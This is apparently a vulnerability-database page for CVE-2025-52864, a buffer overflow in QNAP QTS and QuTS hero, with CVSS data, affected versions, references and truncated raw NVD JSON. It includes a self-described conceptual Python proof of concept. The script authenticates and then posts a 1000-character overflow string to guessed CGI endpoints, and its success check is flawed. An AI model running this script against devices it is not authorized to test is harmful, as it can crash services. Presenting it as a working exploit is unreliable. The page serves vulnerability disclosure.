CVE-2025-52864

Description

A buffer overflow vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains a user account, they can then exploit the vulnerability to modify memory or crash processes. We have already fixed the vulnerability in the following versions: QTS 5.2.7.3256 build 20250913 and later QuTS hero h5.2.7.3256 build 20250913 and later QuTS hero h5.3.0.3192 build 20250716 and later

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.7.3256 build 20250913

QNAP QuTS hero h5.2.7.3256 < build 20250913

QNAP QuTS hero h5.3.0.3192 < build 20250716

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52864 PoC - QNAP Buffer Overflow
# Note: This is a conceptual proof of concept for demonstration purposes

import requests
import sys

def check_cve_2025_52864(target_url, username, password):
    """
    CVE-2025-52864 PoC - Check for QNAP buffer overflow vulnerability
    
    This PoC demonstrates the general approach for testing the vulnerability.
    The actual exploit requires specific knowledge of the vulnerable endpoint
    and proper payload construction.
    """
    print(f"[*] Testing CVE-2025-52864 on {target_url}")
    
    # Step 1: Authenticate with valid user credentials
    session = requests.Session()
    auth_data = {
        'username': username,
        'password': password
    }
    
    try:
        # Attempt authentication
        login_url = f"{target_url}/cgi-bin/authLogin.cgi"
        response = session.post(login_url, data=auth_data, timeout=10)
        
        if response.status_code != 200:
            print("[-] Authentication failed")
            return False
        
        print("[+] Authentication successful")
        
        # Step 2: Identify vulnerable endpoint
        # The specific vulnerable endpoint would be discovered through enumeration
        vulnerable_endpoints = [
            '/cgi-bin/file_transfer.cgi',
            '/cgi-bin/upload.cgi',
            '/cgi-bin/qfarm.cgi'
        ]
        
        # Step 3: Construct buffer overflow payload
        # This is a template - actual payload requires specific conditions
        overflow_payload = 'A' * 1000  # Overflow pattern
        
        for endpoint in vulnerable_endpoints:
            try:
                exploit_data = {
                    'filename': overflow_payload,
                    'path': '/share'
                }
                
                exploit_url = f"{target_url}{endpoint}"
                response = session.post(exploit_url, data=exploit_data, timeout=10)
                
                # Check for signs of successful exploitation
                if 'error' not in response.text.lower() or response.status_code == 500:
                    print(f"[!] Potential vulnerability at {endpoint}")
                    print(f"[!] Response: {response.status_code}")
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Error testing {endpoint}: {str(e)}")
                
        print("[*] Scan completed")
        return True
        
    except Exception as e:
        print(f"[-] Error: {str(e)}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: python cve_2025_52864_poc.py <target_url> <username> <password>")
        print("Example: python cve_2025_52864_poc.py https://qnap.local admin password123")
        sys.exit(1)
    
    target = sys.argv[1]
    user = sys.argv[2]
    pwd = sys.argv[3]
    
    check_cve_2025_52864(target, user, pwd)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52864
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52864
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52864/
[4] VulDB https://vuldb.com/cve/CVE-2025-52864
[5] https://www.qnap.com/en/security-advisory/qsa-25-50

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52864", "sourceIdentifier": "[email protected]", "published": "2026-01-02T15:16:00.827", "lastModified": "2026-01-05T20:13:29.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains a user account, they can then exploit the vulnerability to modify memory or crash processes.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.7.3256 build 20250913 and later\nQuTS hero h5.2.7.3256 build 20250913 and later\nQuTS hero h5.3.0.3192 build 20250716 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:*", "matchCriteriaId": "CDCBB36A-CB91-4BA3-A6ED-952E6A4A0481"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:*", "matchCriteriaId": "240BCFF1-CCCB-4C07-8E2C-7F43F68407FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:*", "matchCriteriaId": "D3AF7276-77E0-474A-B10F-AC15BC5FCF00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:*", "matchCriteriaId": "5FA8C3EC-B6C0-44A8-BC91-18E3E90C63AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:*", "matchCriteriaId": "889336D2-D9F7-4CC0-A22F-B837B5E77751"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2851:build_20240808:*:*:*:*:*:*", "matchCriteriaId": "98F72EB9-0EE3-416A-B9BB-2512F5203A5A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.0.2860:build_20240817:*:*:*:*:*:*", "matchCriteriaId": "9110382F-57C2-4C2E-82D1-3246C882B2C3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.1.2929:build_20241025:*:*:*:*:*:*", "matchCriteriaId": "DB92EFD7-47DD-4AAC-97BD-A2D4918FF4ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.1.2940:build_20241105:*:*:*:*:*:*", "matchCriteriaId": "78E38E23-1AD0-49E1-89FA-73DC2F496137"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.2.2952:build_20241116:*:*:*:*:*:*", "matchCriteriaId": "F2F302B6-26CC-4044-B480-4EBDBB90797F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.3.3006:build_20250108:*:*:*:*:*:*", "matchCriteriaId": "BF0093B6-8D38-4D1E-AD71-79299123C2B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.4.3070:build_20250312:*:*:*:*:*:*", "matchCriteriaId": "48A3CDAA-B0C6-4280-B1AC-DDD027F9D632"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:quts_hero:h5.2.4.3079:build_20250321:*:*:*:*:*:*", "matchCriteriaId": "1807DE4F-CDF3-4E3B-ADC1-9535EF1D60 ... (truncated)